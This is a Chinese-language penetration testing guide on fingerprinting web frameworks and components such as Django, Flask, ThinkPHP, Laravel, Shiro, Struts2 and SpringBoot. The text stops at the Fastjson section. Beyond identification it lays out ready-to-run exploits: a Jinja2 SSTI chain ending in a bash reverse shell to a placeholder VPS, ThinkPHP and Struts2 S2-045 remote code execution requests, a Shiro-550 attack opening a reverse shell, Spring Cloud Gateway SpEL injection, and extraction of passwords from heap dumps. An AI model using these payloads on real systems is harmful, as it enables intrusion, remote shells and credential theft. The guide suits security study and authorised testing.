欢迎光临
我们一直在努力

Web 渗透测试:开发框架与组件识别技术完全指南

在 Web 渗透测试的信息收集阶段,许多人习惯于使用在线指纹识别平台(如潮汐指纹库、Wappalyzer)对目标进行 CMS 识别。但当目标不是 WordPress、DedeCMS 这类 PHP 开源程序,而是由 Python、Java、Go 等语言开发的应用,或部署在内网环境无法联网查询时,传统工具的局限性就会暴露。

本文将从概念到实战,逐一拆解 Django、FastAPI、ThinkPHP、Laravel、Shiro、Struts2、SpringBoot、Fastjson、Solr、Log4j2 等主流框架与组件的识别方法,并配合具体的数据包示例、命令行操作和漏洞利用演示,讲清楚"识别了框架之后如何转化为攻击面"。

文章目录

    • 一、先厘清概念:框架与组件的本质区别
      • 1.1 框架(Framework)
      • 1.2 组件(Component / Library)
      • 1.3 三种开发架构与安全测试策略
    • 二、Python 框架识别
      • 2.1 Django
        • 识别特征 ①:CSRF Token(最可靠)
        • 识别特征 ②:Debug 页面(配置失误)
        • 识别特征 ③:默认路径
        • 框架版本推断
        • Django 识别后的攻击方向
      • 2.2 FastAPI
        • 识别特征 ①:自动生成的交互式文档(极强指纹)
        • 识别特征 ②:响应头中的服务器信息
        • 识别特征 ③:OpenAPI JSON 文件
        • FastAPI 识别后的攻击方向
      • 2.3 Flask
        • 识别特征 ①:Server 响应头(最直接的指纹)
        • 识别特征 ②:Session Cookie 结构(核心指纹)
        • 识别特征 ③:Debug 模式的多种探测方式
        • 识别特征 ④:Jinja2 模板引擎指纹
        • 识别特征 ⑤:Flask 特有扩展的指纹
        • Flask 识别后的攻击方向
        • 利用示例 ①:Flask Session 伪造(SECRET_KEY 泄露)
        • 利用示例 ②:Jinja2 SSTI → RCE 完整链
        • Flask 版本与 CVE
    • 三、PHP 框架识别
      • 3.1 ThinkPHP
        • 识别特征 ①:HTTP 响应头
        • 识别特征 ②:Cookie 中的 CSRF Token
        • 识别特征 ③:默认图标 MD5 指纹
        • 识别特征 ④:URL 路由模式
        • 版本与 CVE 对照(部分)
        • 利用示例:ThinkPHP 5.0.23 RCE
      • 3.2 Laravel
        • 识别特征 ①:Cookie 名称
        • 识别特征 ②:CSRF Token 字段名
        • 识别特征 ③:`.env` 文件泄露(常见配置失误)
        • 识别特征 ④:Debug 模式错误页面
        • 识别特征 ⑤:路由签名
        • 利用举例:`APP_KEY` 泄露 → 反序列化 RCE
        • Laravel 版本与 CVE 对照(部分)
      • 3.3 Yii
        • 识别特征 ①:CSRF Token Cookie
        • 识别特征 ②:Debug 工具栏
    • 四、Java 框架与组件识别(重中之重)
      • 4.1 Apache Shiro —— "识别即利用"
        • 识别特征:`rememberMe=deleteMe`
        • 漏洞利用完整演示(Shiro-550)
        • Shiro 版本差异
        • FOFA 批量寻找 Shiro 目标
      • 4.2 Struts2 —— 老牌 RCE 之王
        • 识别特征 ①:URL 后缀
        • 识别特征 ②:表单中的 struts 命名空间
        • 识别特征 ③:异常页面
        • 利用示例:S2-045(基于 Content-Type 头的 RCE)
        • Struts2 版本与经典 CVE
      • 4.3 SpringBoot —— 当代 Java 应用的标配
        • 识别特征 ①:Whitelabel Error Page(经典识别标志)
        • 识别特征 ②:默认 favicon.ico
        • 识别特征 ③:Actuator 端点泄露(危险性最高)
        • 利用示例:/actuator/env 泄露数据库密码
        • 利用示例:/actuator/heapdump 提取明文密码
        • 识别特征 ④:Spring Cloud Gateway(CVE-2022-22947)
      • 4.4 Fastjson —— "看不见的炸弹"
        • 识别方法:黑盒数值精度测试
        • Fastjson 版本与 AutoType 绕过
        • 利用示例:Fastjson 1.2.47 RCE 探测
      • 4.5 Apache Solr
        • 识别特征
        • Solr 版本探测
        • 典型漏洞
      • 4.6 Log4j2 —— 需要探测而不是"看"
        • 识别方法:JNDI 外带注入探测
    • 五、内网环境识别方案:GotoScan
        • GotoScan 使用示例
    • 六、信息收集全景图
      • 6.1 WAF 识别
      • 6.2 CDN 识别
      • 6.3 蜜罐识别
    • 七、总结:从识别到利用的完整思路

一、先厘清概念:框架与组件的本质区别

很多新手会把"框架"和"组件"混为一谈,但它们在安全测试中的关注点完全不同。

1.1 框架(Framework)

框架是一套代码骨架,封装了路由分发、数据库 ORM、表单校验、CSRF 防护等通用功能。开发者基于框架二次开发时,只需填充业务逻辑即可。

安全含义: 框架自身的安全机制(如 ThinkPHP 的 I() 函数过滤、Django 的 ORM 防注入)决定了应用的防御基线。如果框架的某个版本存在 RCE 漏洞,所有使用该版本的应用都可能被打穿。

1.2 组件(Component / Library)

组件是单一功能的第三方代码包,比如 JSON 解析(Fastjson、Jackson)、日志记录(Log4j2)、搜索服务(Solr、Elasticsearch)。一个项目通常会引入数十个组件。

安全含义: 框架安全 ≠ 应用安全。一个用 Django 写的应用,如果引入了一个存在反序列化漏洞的 JSON 解析组件,依然可以被拿下。

1.3 三种开发架构与安全测试策略

理解目标的开发模式,决定了你把时间花在哪里:

架构模式典型场景安全测试重心
纯手写代码 早期 PHP 脚本、小型内部工具 开发者可能未做任何过滤,SQL 注入、文件上传等基础漏洞命中率高
基于框架 企业 Web 系统、API 服务 优先排查框架的已知 CVE(如 ThinkPHP 5.x RCE),再看开发者是否绕过框架安全机制
框架 + 组件 当代微服务架构(SpringBoot + Fastjson + Log4j) 攻击面来自三层:框架漏洞 + 组件漏洞 + 配置暴露(如 actuator 泄露)

第三种是当下的主流——你能拼出越完整的技术栈画像,攻击路线就越精准。


二、Python 框架识别

Python Web 框架以简洁著称,但每种都有独特的指纹。

2.1 Django

Django 是 Python 界最成熟的全栈框架,GitHub 星标 80k+,被 Instagram、Pinterest、Disqus 等大型站点使用。

识别特征 ①:CSRF Token(最可靠)

Django 默认对所有 POST 请求启用 CSRF 保护,中间件会在每个响应的 Cookie 中写入 csrftoken。

手工检测:

curl -I https://target.com 2>&1 | grep -i csrf

正常响应示例:

HTTP/1.1 200 OK
Set-Cookie: csrftoken=abc123def456…; expires=…

同时在 HTML 表单中搜索:

curl -s https://target.com/login/ | grep -o 'csrfmiddlewaretoken.*value="[^"]*"'

如果页面是 Django 渲染的模板,隐藏的 <input> 标签里会带有 csrfmiddlewaretoken:

<input type="hidden" name="csrfmiddlewaretoken" value="">

识别特征 ②:Debug 页面(配置失误)

Django 开启 DEBUG=True 时,访问不存在的路径会返回包含完整调用栈的黄色错误页面,直接暴露文件名、变量值和配置信息。

检测方法:

curl -s https://target.com/this-page-does-not-exist-12345/ | grep -i "django\\|traceback\\|settings"

如果返回 HTML 中包含 <div id="summary"> 和 <pre class="exception_value">,可 100% 确认为 Django 且 DEBUG 模式开启,此时存在严重的信息泄露。

识别特征 ③:默认路径

curl -s -o /dev/null -w "%{http_code}" https://target.com/admin/
# 返回 200 或 302 → 确认为 Django(Django 自带的 /admin/ 后台)

框架版本推断

Django DEBUG 页面有时会直接打印版本号。此外,可以通过不同版本在 SECRET_KEY 生成方式、中间件名称上的差异被动识别:

Django 版本指纹差异
2.2.x AuthenticationMiddleware 在 SessionMiddleware 之前
3.x 引入 ASGIHandler,django.core.signing 增加 TimestampSigner
4.x 默认 CSRF 策略更严格,csrf_cookie_samesite 默认为 Lax
Django 识别后的攻击方向
  • DEBUG 模式 → 泄露 SECRET_KEY → 可伪造 Session、签名数据
  • 已知 CVE → CVE-2021-35042(QuerySet.order_by SQL 注入,特定场景下可利用)
  • /admin/ 弱口令 → Django Admin 后台爆破
  • SECRET_KEY 泄露 → 反序列化 RCE(如果使用了 PickleSerializer)

2.2 FastAPI

FastAPI 是近年来增长速度最快的 Python Web 框架,专长是构建 RESTful API 和微服务。

识别特征 ①:自动生成的交互式文档(极强指纹)

FastAPI 默认自动生成 Swagger UI 和 ReDoc 文档页面,这是最明显的识别特征:

# Swagger UI(默认路径)
curl -s https://api.target.com/docs | grep -i "swagger\\|fastapi"

# ReDoc(备用路径)
curl -s https://api.target.com/redoc | grep -i "redoc\\|fastapi"

# OpenAPI 规范 JSON
curl -s https://api.target.com/openapi.json | jq '.info'

正常响应示例(/docs 页面):

<title>FastAPI – Swagger UI</title>

<script src="https://cdn.jsdelivr.net/npm/swagger-ui-dist@4/swagger-ui-bundle.js"></script>

识别特征 ②:响应头中的服务器信息

FastAPI 底层使用 Uvicorn 或 Hypercorn 作为 ASGI 服务器:

curl -I https://api.target.com 2>&1 | grep -i "server"

可能返回:

Server: uvicorn

识别特征 ③:OpenAPI JSON 文件

curl -s https://api.target.com/openapi.json | head -20

返回内容通常以:

{
"openapi": "3.0.2",
"info": {
"title": "FastAPI",
"version": "0.1.0"
}
}

注意: 生产环境可能通过反向代理隐藏了 /docs、/openapi.json 路径,此时需要结合报错信息的 JSON 结构来推断。

FastAPI 识别后的攻击方向
  • /docs 暴露 → API 接口全量暴露,可遍历所有端点及参数
  • /openapi.json → 获得完整的 API Schema(请求方法、参数类型、认证方式)
  • Pydantic 校验绕过 → 如果自定义了校验逻辑,可能存在类型混淆
  • 异步安全 → Race Condition(并发请求导致的竞态条件)在异步框架中更容易触发

2.3 Flask

Flask 是 Python 生态中 Star 数仅次于 Django 的微框架,大量用于中小型 Web 应用、API 服务和内部工具。相比 Django 的"大而全",Flask 的"微内核 + 扩展"设计让它在渗透中的识别手段更加多样化。

识别特征 ①:Server 响应头(最直接的指纹)

Flask 内置的开发服务器 Werkzeug 会在响应头中留下明显签名:

curl -I https://target.com 2>&1 | grep -i "Server"

典型返回值:

Server: Werkzeug/2.0.2 Python/3.9.7

不同版本的 Werkzeug 对应不同的 Python 和 Flask 版本组合:

Server 头示例推断信息
Werkzeug/0.16.1 Python/3.7.7 Flask 1.1.x
Werkzeug/2.0.2 Python/3.9.7 Flask 2.0.x
Werkzeug/3.0.1 Python/3.12.0 Flask 3.0.x

注意: 生产环境中如果使用了 Gunicorn、uWSGI 等正式 WSGI 服务器做前置,Server 头会被覆盖为 gunicorn 或 nginx,此时不能单靠 Server 头判断。

识别特征 ②:Session Cookie 结构(核心指纹)

Flask 的 Session 默认使用 itsdangerous 库进行签名,Cookie 名为 session,值格式固定:

curl -I https://target.com 2>&1 | grep -i "Set-Cookie"

返回示例:

Set-Cookie: session=eyJ1c2VybmFtZSI6Imd1ZXN0In0.Z0RjXw.abc123def456…; HttpOnly; Path=/

Flask Session 的结构破译:

Flask 默认 Session Cookie 是 Base64 编码 + 时间戳 + HMAC 签名,以 . 分隔:

{BASE64(JSON_PAYLOAD)}.{TIMESTAMP}.{HMAC_SIGNATURE}

拆解一个真实的 Flask Session:

# 原始 Cookie 值
eyJ1c2VybmFtZSI6Imd1ZXN0In0.Z0RjXw.abc123def456...

# 第一部分 — Base64 解码
echo "eyJ1c2VybmFtZSI6Imd1ZXN0In0=" | base64 -d
# 输出: {"username":"guest"}

# 第二部分 — Unix 时间戳(通过 base64 编码)
echo "Z0RjXw==" | base64 -d | xxd -p
# 输出: 6744635f → 解码为时间戳

——这个指纹的用途: 如果 Cookie 值以 eyJ 开头({" 的 Base64 编码)且用 . 分成三部分,基本可以确认为 Flask 的 itsdangerous 签名 Session。

识别特征 ③:Debug 模式的多种探测方式

Flask 的 Debug 模式是最危险的配置失误之一。以下逐一演示探测方法:

方法一:直接访问 /console 路径

curl -s -o /dev/null -w "%{http_code}" https://target.com/console
# 返回 200 → Werkzeug Debugger 交互式 Python Shell 暴露!

Werkzeug Debugger 提供了一个基于网页的交互式 Python 控制台。如果返回了带有 PIN 码输入框的页面:

<h1>Console // Werkzeug Debugger</h1>

<input type="text" name="pin" placeholder="Console PIN">

拿到 PIN 码 = 获得服务器上的交互式 Python Shell = 直接 RCE。 这是 Flask Debug 模式最致命的后果。

方法二:触发 404 观察调试页面

curl -s "https://target.com/this-page-absolutely-does-not-exist-1298374" | grep -i "werkzeug\\|traceback\\|debugger\\|jinja"

如果返回包含以下内容的完整 Traceback 页面,说明开启了 Debug 模式:

<title>werkzeug.exceptions.NotFound …</title>

<div class="traceback">

<li>File "…/site-packages/flask/app.py", line …</li>
</div>

这会直接暴露:

  • 服务器上的绝对文件路径 — 可推断部署架构
  • Flask 版本 — 从 traceback 中 import 路径推断
  • 部分源代码片段 — Traceback 上下文显示相邻代码

方法三:向已有路由提交恶意数据触发异常

如果正常访问返回 200 但覆盖了错误页面,可以故意制造异常让 Debug 模式暴露:

# 向期望接收整数的参数传入字符串
curl -s "https://target.com/api/user/abc" | grep -i "traceback\\|werkzeug\\|typeerror"

# 向期望 JSON 的接口发送非法数据
curl -X POST https://target.com/api/login \\
-H "Content-Type: application/json" \\
-d 'this is not json' | grep -i "traceback"

识别特征 ④:Jinja2 模板引擎指纹

Flask 默认使用 Jinja2 作为模板引擎,Jinja2 的语法特征可以辅助识别:

检测 SSTI(服务端模板注入)的同时亦为识别手段:

# 向任何会回显的参数注入 Jinja2 表达式
curl -s "https://target.com/search?q=\\{\\{7*7\\}\\}"
curl -s "https://target.com/greet?name=\\{\\{config\\}\\}"

  • 如果返回 49 → 确认 Jinja2 模板引擎 → 极大可能是 Flask(虽然 FastAPI、Django 也可能使用 Jinja2,但 Flask 是默认且最典型的场景)
  • 如果返回 None 或 Flask 配置字典 → 同时确认为 Flask + 存在 SSTI 漏洞
识别特征 ⑤:Flask 特有扩展的指纹

许多 Flask 应用会使用第三方扩展,扩展的痕迹可辅助确权:

Flask-SQLAlchemy(ORM): 在报错页面中可能出现 sqlalchemy.exc 或 flask_sqlalchemy

Flask-Login(认证): Cookie 可能包含 remember_token 字段(不同于 session 的标准 Cookie):

curl -I https://target.com 2>&1 | grep -i "remember"
# Set-Cookie: remember_token=xxx|yyy; …

Flask-RESTful / Flask-RESTX: 自动生成 Swagger 文档,类似 FastAPI 的 /docs,路径通常为 /swagger.json 或 /api/spec:

curl -s https://target.com/swagger.json | jq '.info.title'
# 可能返回 API 名称,form-data 中可能包含 "flask-restx"

Flask 识别后的攻击方向
攻击路径触发条件利用方式
Werkzeug Debugger RCE DEBUG=True + /console 可访问 获取/爆破 PIN 码后执行 Python 代码
Session 篡改 SECRET_KEY 泄露 Flask-Unsign 工具伪造 Session Cookie
SSTI → RCE Jinja2 模板注入 {{ config }} → {{ lipsum.__globals__['os'].popen('id').read() }}
源码泄露 Debug 模式 Traceback 从错误页面提取文件路径和代码片段
.git 泄露 Flask 项目部署时 .git 目录未剔除 GitHack 恢复源码 → 找到 SECRET_KEY、数据库密码
利用示例 ①:Flask Session 伪造(SECRET_KEY 泄露)

如果通过信息泄露(如 .env 文件、源码泄露、Debug Traceback)获取了 Flask 的 SECRET_KEY,可以使用 flask-unsign 工具伪造 Session:

# 解码当前的 Session Cookie
flask-unsign –decode –cookie 'eyJ1c2VybmFtZSI6Imd1ZXN0In0.Z0RjXw.abc123…'

# 用泄露的 SECRET_KEY 伪造管理员 Session
flask-unsign –sign –cookie '{"username":"admin","is_admin":true}' –secret 'leaked_secret_key_here'
# 输出: eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNfYWRtaW4iOnRydWV9.Z0Rk…

然后将伪造的 Cookie 替换浏览器中的 session 值,刷新页面即可以管理员身份登录。

利用示例 ②:Jinja2 SSTI → RCE 完整链

假设在 https://target.com/search?q= 参数上存在 Jinja2 SSTI:

# Step 1: 确认 SSTI 存在
curl -s "https://target.com/search?q=\\{\\{7*7\\}\\}"
# 返回: 结果: 49 ← 确认!

# Step 2: 读取 Flask 配置
curl -s "https://target.com/search?q=\\{\\{config\\}\\}"
# 返回: <Config {'ENV': 'production', 'DEBUG': False, 'SECRET_KEY': 'mysecret', …}>
# → 拿到 SECRET_KEY

# Step 3: 利用 Jinja2 内置对象执行系统命令
curl -s "https://target.com/search?q=\\{\\{lipsum.__globals__['os'].popen('id').read()\\}\\}"
# 返回: uid=1000(flask) gid=1000(flask) groups=1000(flask)
# → SSTI 升级为 RCE

# Step 4: 建立反弹 Shell
curl -s "https://target.com/search?q=\\{\\{lipsum.__globals__['os'].popen('bash -c \\"bash -i >& /dev/tcp/YOUR_VPS/4444 0>&1\\"').read()\\}\\}"

Flask 版本与 CVE
Flask 版本CVE / 安全问题类型
< 0.12.3 Debugger PIN 被默认设置为 0000 弱 PIN 码
< 1.0 CVE-2018-1000656 通过恶意 JSON Payload 导致 DoS
< 2.0 Werkzeug Debugger PIN 计算方式可被猜解(CVE-2019-14806) PIN 码绕过
所有 生产环境不应开启 DEBUG=True 配置失误 → RCE

核心警告: Flask 的 DEBUG=True + /console 可访问 不是"漏洞"而是"灾难"。当你看到那个 PIN 码输入框时,目标服务器实际上已经在给你开门了——只需 PIN 码(常可爆破或通过信息泄露获取),就能在浏览器中执行任意 Python 代码。


三、PHP 框架识别

PHP 框架识别相对成熟,指纹库也最完善,但关键在于识别之后如何快速定位漏洞版本。

3.1 ThinkPHP

ThinkPHP 是国内使用量最大的 PHP 框架,尤其大量用于政企系统、电商平台、教育系统。

识别特征 ①:HTTP 响应头

curl -I https://target.com 2>&1

典型返回值:

HTTP/1.1 200 OK
X-Powered-By: ThinkPHP
Content-Type: text/html; charset=utf-8

识别特征 ②:Cookie 中的 CSRF Token

ThinkPHP 内置 CSRF 防护,默认 Cookie 名为 __token__:

curl -I https://target.com/login/ 2>&1 | grep -i "token"

返回:

Set-Cookie: __token__=d2f8b3a1e4…

在 HTML 表单中搜索:

curl -s https://target.com/login/ | grep -o '__token__[^"]*'

识别特征 ③:默认图标 MD5 指纹

ThinkPHP 所有版本默认的 favicon.ico 文件具有固定哈希值,可在 FOFA 中利用这点精准搜索:

# FOFA 语法
body="ThinkPHP" && favicon_hash="1165838194"

识别特征 ④:URL 路由模式

ThinkPHP 5.x/6.x 的 URL 典型模式:

http://target.com/index.php/模块/控制器/方法
http://target.com/index.php?s=模块/控制器/方法

识别举例——访问不存在的控制器时,ThinkPHP 的报错信息会暴露框架版本:

# 故意访问一个不存在的控制器
http://target.com/index.php?s=admin/index/test123456

如果页面返回类似以下内容,即可确认 ThinkPHP 及版本:

ThinkPHP V5.0.24 { 十年磨一剑-为API开发设计的高性能框架 }

版本与 CVE 对照(部分)
ThinkPHP 版本高危 CVE类型触发条件
5.0.x (< 5.0.24) CVE-2018-20062 RCE ?s=index/\\think\\app/invokefunction
5.1.x (< 5.1.32) RCE ?s=index/think\\request/input
5.0.x CVE-2019-9082 RCE ?s=index/think\\request/cache
6.0.x (< 6.0.14) 反序列化 session 驱动利用
利用示例:ThinkPHP 5.0.23 RCE

确认目标为 ThinkPHP 5.0.23 后,可以直接发送以下请求验证漏洞:

GET /index.php?s=index/think\\app/invokefunction&function=phpinfo&vars[0]=1 HTTP/1.1
Host: target.com

如果页面返回 phpinfo() 的输出,说明 RCE 利用成功。

# 执行系统命令 whoami
curl -s "https://target.com/index.php?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami"


3.2 Laravel

Laravel 是全球 PHP 生态中 Star 数最高的框架,在海外企业和国内外企中极为常见。

识别特征 ①:Cookie 名称

Laravel 的 Session Cookie 默认名为 laravel_session:

curl -I https://target.com 2>&1 | grep -i "laravel"

返回:

Set-Cookie: laravel_session=eyJpdiI6I…; path=/; httponly

识别特征 ②:CSRF Token 字段名

Laravel 的 CSRF Token 在 HTML 源码中的固定字段名为 csrf-token(小写,连字符连接):

curl -s https://target.com/login | grep -i "csrf-token"

返回示例:

<meta name="csrf-token" content="abc123def456…">

识别特征 ③:.env 文件泄露(常见配置失误)

Laravel 将敏感配置存储在项目根目录的 .env 文件中,如果 Nginx/Apache 配置不当,该文件可能被直接访问:

curl -s https://target.com/.env

泄露后可能得到:

APP_NAME=Laravel
APP_ENV=local
APP_KEY=base64:abcdef123456… # 应用加密密钥
APP_DEBUG=true
DB_HOST=127.0.0.1
DB_DATABASE=production_db
DB_USERNAME=root
DB_PASSWORD=MyP@ssw0rd123 # 数据库密码
REDIS_PASSWORD=…
AWS_ACCESS_KEY_ID=…

APP_KEY 泄露是 Laravel 最致命的信息泄露——攻击者可以解密所有加密的 Cookie/Session 数据,甚至可以构造反序列化 Payload。

识别特征 ④:Debug 模式错误页面

Laravel 开启 APP_DEBUG=true 时,访问不存在的路径会返回 Whoops 错误页面,包含完整调用栈、环境变量、请求参数:

curl -s "https://target.com/this-route-does-not-exist-12345"

返回页面包含:

  • Environment & details: 块 → 显示 PHP 版本、Laravel 版本
  • Request 块 → 显示请求头、参数
  • Stack Trace → 完整的文件路径暴露
识别特征 ⑤:路由签名

Laravel 8+ 的默认路由 / 返回的 HTML 可能包含以下标识:

<link href="/css/app.css?id=…" rel="stylesheet">

其中 ?id= 的值为 Mix 的版本哈希,这是 Laravel Mix 构建系统特有的模式。

利用举例:APP_KEY 泄露 → 反序列化 RCE

确认 APP_KEY 泄露后,可以使用 phpggc 生成 Laravel 专用反序列化 Payload:

phpggc Laravel/RCE1 system whoami

将生成的 Payload 作为加密 Cookie 发送,即可触发反序列化 RCE。

Laravel 版本与 CVE 对照(部分)
Laravel 版本高危 CVE类型
< 8.4.2 CVE-2021-3129 RCE(Ignition debug 组件)
< 8.6.12 CVE-2021-43617 文件上传绕过
< 5.5.49 CVE-2020-19316 反序列化 RCE

3.3 Yii

Yii(Yes It Is)是老牌高性能 PHP 框架,在政府和大型企业应用中仍有一定存量。

识别特征 ①:CSRF Token Cookie

curl -I https://target.com 2>&1 | grep -i "YII"

返回:

Set-Cookie: YII_CSRF_TOKEN=abcdef123456…; path=/

识别特征 ②:Debug 工具栏

Yii 的 Debug 模块在页面底部渲染一个蓝色工具栏,包含请求信息、SQL 查询日志、配置参数:

curl -s https://target.com | grep -i "yii-debug-toolbar"

如果 Debug 模式开启,页面源码中会包含:

<div id="yii-debug-toolbar" >

<!– 包含所有执行的 SQL 语句、请求参数 –>


四、Java 框架与组件识别(重中之重)

Java 生态是整个 Web 渗透中攻击面最大的领域。一个典型的 SpringBoot 应用可能同时引入 50+ 第三方 Jar 包,每个都可能是突破口。

4.1 Apache Shiro —— “识别即利用”

Shiro 是 Java 界最流行的身份认证框架,但它的"记住我"功能长期存在反序列化漏洞(Shiro-550/Shiro-721),一度被称为 Java 安全的"万能钥匙"。

识别特征:rememberMe=deleteMe

Shiro 的唯一识别标志是 Cookie 中的 rememberMe 字段。

当用户未勾选"记住我"登录时,服务器仍可能在响应中返回一个空值:

curl -I https://target.com/login 2>&1 | grep -i "rememberMe"

返回:

Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0

当用户勾选了"记住我",Cookie 中会有加密后的 Base64 值:

Cookie: rememberMe=xg6rF7qK…(Base64 密文)

任何一个 HTTP 响应中包含 rememberMe=deleteMe,即可 100% 确认目标使用了 Apache Shiro。

漏洞利用完整演示(Shiro-550)

Step 1:确认 Shiro 存在

curl -I https://target.com/login 2>&1 | grep -i "rememberMe"
# Set-Cookie: rememberMe=deleteMe ← 确认!

Step 2:使用利用工具生成 Payload

使用 ShiroExploit 或 shiro_attack 工具,选择 Shiro-550 模式,填入目标 URL 和 VPS 监听地址:

# 在 VPS 上启动监听
nc -lvvp 8888

# 使用工具生成并发送反序列化 Payload
java -jar shiro_attack.jar -u https://target.com -m shiro-550 -c "bash -i >& /dev/tcp/YOUR_VPS_IP/8888 0>&1"

Step 3:获得反弹 Shell

# VPS 端收到连接
connect to [YOUR_VPS_IP] from target.com [TARGET_IP] 54321
bash: no job control in this shell
bash-4.2$ whoami
web

Shiro 版本差异
Shiro 版本漏洞类型AES 密钥情况
< 1.2.4 Shiro-550 默认硬编码 Key:kPH+bIxk5D2deZiIxcaaaA==
1.2.4 – 1.4.1 Shiro-550 开发者可能未修改默认 Key
< 1.7.1 Shiro-721 Padding Oracle 攻击(需要合法的 rememberMe Cookie)
≥ 1.10.0 默认生成随机 Key,但仍可能误配
FOFA 批量寻找 Shiro 目标

header="rememberMe=deleteMe" && country="CN"


4.2 Struts2 —— 老牌 RCE 之王

Apache Struts2 是最臭名昭著的 Java MVC 框架,S2-001 到 S2-062 在历史上累计爆出数十个 OGNL 表达式注入漏洞,几乎都直通 RCE。

识别特征 ①:URL 后缀

Struts2 的路由默认为 .action 或 .do 后缀(当然可以被自定义改掉):

# 尝试访问
curl -I https://target.com/login.action
curl -I https://target.com/user/register.do

识别特征 ②:表单中的 struts 命名空间

Struts2 标签渲染后的 HTML 会带有特定命名空间前缀:

<!– Struts2 <s:form> 标签渲染后 –>
<form id="login" name="login" action="/login.action" method="post">

识别特征 ③:异常页面

Struts2 在报错时可能返回带 struts2 关键字的异常信息:

curl -s "https://target.com/login.action?a='b" | grep -i "struts\\|ognl"

利用示例:S2-045(基于 Content-Type 头的 RCE)

S2-045 影响了大量 Struts2 版本,漏洞点在于 Jakarta Multipart 解析器处理 Content-Type 头时触发 OGNL 注入:

curl -v -H "Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" https://target.com/login.action

如果返回 whoami 的执行结果(当前用户名),说明 RCE 成功。

Struts2 版本与经典 CVE
CVE影响版本触发条件
S2-016 2.3.x redirect: 前缀 OGNL 注入
S2-032 2.3.20–2.3.28 method: 前缀 RCE
S2-045 2.3.5–2.3.31, 2.5–2.5.10 Content-Type 头 OGNL 注入
S2-046 2.3.5–2.3.31, 2.5–2.5.10 文件名 OGNL 注入
S2-057 2.3–2.3.34, 2.5–2.5.16 alwaysSelectFullNamespace 为 true 时 URL RCE
S2-059 2.0.0–2.5.20 标签属性 OGNL 二次解析
S2-061 2.0.0–2.5.25 与 S2-059 相关,绕过修复
S2-062 2.0.0–2.5.29 标签属性 OGNL 注入

4.3 SpringBoot —— 当代 Java 应用的标配

SpringBoot 占据了 Java Web 开发的大半壁江山,其指纹丰富程度也最高。

识别特征 ①:Whitelabel Error Page(经典识别标志)

SpringBoot 在未自定义错误页面时,返回的默认错误页具有强烈辨识度:

curl -s "https://target.com/this-page-not-exist-1298347"

返回示例:

<html>
<body>
<h1>Whitelabel Error Page</h1>
<p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p>
<div id="created">Mon Jun 15 09:23:45 CST 2026</div>
<div>There was an unexpected error (type=Not Found, status=404).</div>
</body>
</html>

关键词 Whitelabel Error Page 是 SpringBoot 的独有指纹。

识别特征 ②:默认 favicon.ico

SpringBoot 的默认叶子图标具有固定的 MD5 哈希值:

# 下载 favicon.ico
curl -s https://target.com/favicon.ico -o /tmp/favicon.ico

# 计算 MD5
md5sum /tmp/favicon.ico
# 默认值: 0488faca4c19046b94d07c3ee83cf9d6

在 FOFA/Shodan 中用图标哈希批量搜索:

# FOFA 语法
favicon_hash="0488faca4c19046b94d07c3ee83cf9d6" && country="CN"

识别特征 ③:Actuator 端点泄露(危险性最高)

SpringBoot Actuator 的 /actuator 端点默认暴露大量内部信息:

# 枚举常见端点
curl -s https://target.com/actuator
curl -s https://target.com/actuator/env
curl -s https://target.com/actuator/mappings
curl -s https://target.com/actuator/heapdump
curl -s https://target.com/actuator/health
curl -s https://target.com/actuator/info

Actuator 端点泄露的信息风险等级
/actuator/env 环境变量(可能包含数据库密码、API Key) 🔴 严重
/actuator/heapdump JVM 堆转储(可提取明文密码、Session) 🔴 严重
/actuator/mappings 所有 API 路由映射 🟡 高
/actuator/beans Spring Bean 列表(暴露使用的组件) 🟡 高
/actuator/configprops 配置属性(可能含凭据) 🔴 严重
/actuator/logfile 应用日志文件 🟡 高
/actuator/gateway Spring Cloud Gateway 路由规则 🟡 高
利用示例:/actuator/env 泄露数据库密码

curl -s https://target.com/actuator/env | jq '.propertySources[] | select(.name | contains("application")) | .properties'

返回:

{
"spring.datasource.url": { "value": "jdbc:mysql://10.0.1.50:3306/prod_db" },
"spring.datasource.username": { "value": "root" },
"spring.datasource.password": { "value": "Pr0d_DB_P@ss!" },
"redis.password": { "value": "Redis_S3cret_2026" },
"aliyun.oss.access-key": { "value": "LTAI5t…" }
}

利用示例:/actuator/heapdump 提取明文密码

使用 arthas 或 Eclipse Memory Analyzer (MAT) 分析下载的 heapdump 文件:

# 下载 heapdump
curl -s https://target.com/actuator/heapdump -o heapdump.bin

# 搜索明文密码
strings heapdump.bin | grep -i "password=" | head -20
strings heapdump.bin | grep -i "Bearer " | head -20
strings heapdump.bin | grep -i "Authorization:" | head -20

识别特征 ④:Spring Cloud Gateway(CVE-2022-22947)

如果目标使用 Spring Cloud Gateway,且在 Actuator 中暴露了 /gateway 端点,可以构造路由实现 RCE:

# 利用 CVE-2022-22947 注入 SpEL 表达式
curl -X POST https://target.com/actuator/gateway/routes/evil \\
-H "Content-Type: application/json" \\
-d '{
"id": "evil",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"whoami\\"}).getInputStream()))}"
}
}],
"uri": "http://localhost"
}'

# 刷新路由,触发 SpEL 表达式执行
curl -X POST https://target.com/actuator/gateway/refresh


4.4 Fastjson —— “看不见的炸弹”

Fastjson 是阿里巴巴开源的 JSON 解析库,在国内 Java 项目中使用率极高,但历史上反序列化漏洞频发(从 1.2.24 打到 1.2.83,累计数十个 CVE)。

识别方法:黑盒数值精度测试

